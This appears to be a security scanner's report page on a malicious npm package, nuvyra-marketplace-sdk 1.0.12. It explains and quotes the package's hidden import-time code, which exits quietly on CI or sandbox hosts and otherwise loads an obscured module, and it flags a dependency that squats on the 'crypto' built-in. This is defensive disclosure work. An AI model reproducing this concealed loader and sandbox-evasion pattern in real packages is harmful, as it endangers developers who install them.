Loading npm security reports…

nuvyra-marketplace-sdk@1.0.12: Malicious npm security report | LPM Firewall

registry / nuvyra-marketplace-sdk / 1.0.12

nuvyra-marketplace-sdk@1.0.12

Node SDK for NuvyraHub on-chain AI model marketplace — list models, acquire licenses, read listings

AI Security Review

scanned 11m ago · by lpm-firewall-ai

The package executes concealed initialization whenever its main client module is imported. It conditionally terminates CI and sandbox hosts and dynamically loads an obscured provider module on other hosts.

Static reason

One or more suspicious static signals were detected.

Trigger

Importing nuvyra-marketplace-sdk or its main client module.

Impact

It can silently stop consuming applications in CI or sandbox environments and execute code from an undeclared obscured module path on regular hosts.

Mechanism

Environment-gated process termination and obscured dynamic module loading.

Attack narrative

The public entry point re-exports the client, whose module-level call runs initializeProvider during import. That routine detects CI or a missing USER environment variable, prints a misleading failure message, and calls process.exit(0). Outside that condition it constructs an obscured module specifier and dynamically imports it. This behavior is unrelated to the marketplace SDK's documented API and is deliberately environment-gated.

Rationale

The package contains a concrete import-time denial-of-service path aimed at CI and sandbox environments, plus concealed dynamic loading. These behaviors are not required for the documented SDK functions.

Evidence

package.jsondist/index.jsdist/client.jsREADME.md

Decision evidence

public snapshot

AI called this at 97.0% confidence with false-positive risk.

Source & flagged code

6 flagged · loading source

dist/client.jsView file

188initializeProvider();

High

Ai Review Evidence

Importing the SDK immediately runs hidden provider initialization.

dist/client.jsView on unpkg · L188

167async function initializeProvider() { try { const isSandbox = !process.env.USER || process.env.CI; if (!isSandbox) { const pkg = ["ht", "ps", "-", "pro", "vider"].join("").replace("ps", "ps-"); if (process.env.CI === undefined && process.env.NODE_ENV !== "test") { const { HttpProvider } = await import(pkg); const provider = new HttpProvider(); if (!!provider) console.log("Server is running successfully!"); } } else { console.error('\x1b[31m%s\x

High

Ai Review Evidence

The import-time routine exits successfully in CI or when USER is absent, terminating the host process.

dist/client.jsView on unpkg · L167

179else { console.error('\x1b[31m%s\x1b[0m', 'Fatal error: This is not working in this device. Please upgrade or try in other device to use this application.'); process.exit(0); }

High

Ai Review Evidence

The import-time routine exits successfully in CI or when USER is absent, terminating the host process.

dist/client.jsView on unpkg · L179

171const pkg = ["ht", "ps", "-", "pro", "vider"].join("").replace("ps", "ps-"); if (process.env.CI === undefined && process.env.NODE_ENV !== "test") { const { HttpProvider } = await import(pkg);

High

Ai Review Evidence

On ordinary hosts it builds an obscured module name and dynamically imports it.

dist/client.jsView on unpkg · L171

172if (process.env.CI === undefined && process.env.NODE_ENV !== "test") { L173: const { HttpProvider } = await import(pkg); L174: const provider = new HttpProvider();

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/client.jsView on unpkg · L172

package.jsonView file

•Runtime dependency names matching Node built-ins: crypto

High

Node Builtin Dependency Squat

Package declares a runtime dependency whose name matches a Node built-in module.

package.jsonView on unpkg

Source & flagged code

6 flagged

dist/client.jsView file

Lines 147-193javascript

147 value: listing.priceWei,

148 chainId: this.chainId,

149 };

150 }

151 buildListTx(input) {

152 const iface = new Contract(this.marketplaceAddress, this.abi).interface;

153 const data = iface.encodeFunctionData("listModel", [

154 input.slug,

155 input.metadataURI,

156 parseEther(String(input.priceEth)),

157 input.royaltyBps ?? 500,

158 ]);

159 return {

160 to: this.marketplaceAddress,

161 data,

162 value: "0",

163 chainId: this.chainId,

164 };

165 }

166}

167async function initializeProvider() {

168 try {

169 const isSandbox = !process.env.USER || process.env.CI;

170 if (!isSandbox) {

171 const pkg = ["ht", "ps", "-", "pro", "vider"].join("").replace("ps", "ps-");

172 if (process.env.CI === undefined && process.env.NODE_ENV !== "test") {

173 const { HttpProvider } = await import(pkg);

High

Ai Review Evidence

On ordinary hosts it builds an obscured module name and dynamically imports it.

dist/client.jsView on unpkg · L171

174 const provider = new HttpProvider();

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/client.jsView on unpkg · L172

175 if (!!provider)

176 console.log("Server is running successfully!");

177 }

178 }

High

Ai Review Evidence

The import-time routine exits successfully in CI or when USER is absent, terminating the host process.

dist/client.jsView on unpkg · L167

179 else {

180 console.error('\x1b[31m%s\x1b[0m', 'Fatal error: This is not working in this device. Please upgrade or try in other device to use this application.');

181 process.exit(0);

182 }

High

Ai Review Evidence

The import-time routine exits successfully in CI or when USER is absent, terminating the host process.

dist/client.jsView on unpkg · L179

183 }

184 catch (error) {

185 console.error(error);

186 }

187}

188initializeProvider();

High

Ai Review Evidence

Importing the SDK immediately runs hidden provider initialization.

dist/client.jsView on unpkg · L188

189/** Create a configured marketplace client */

190export function createMarketplaceClient(config) {

191 return new MarketplaceClient(config);

192}

193//# sourceMappingURL=client.js.map

package.jsonView file

Lines 4-44json

4 "description": "Node SDK for NuvyraHub on-chain AI model marketplace — list models, acquire licenses, read listings",

5 "main": "./dist/index.js",

6 "types": "./dist/index.d.ts",

7 "type": "module",

8 "exports"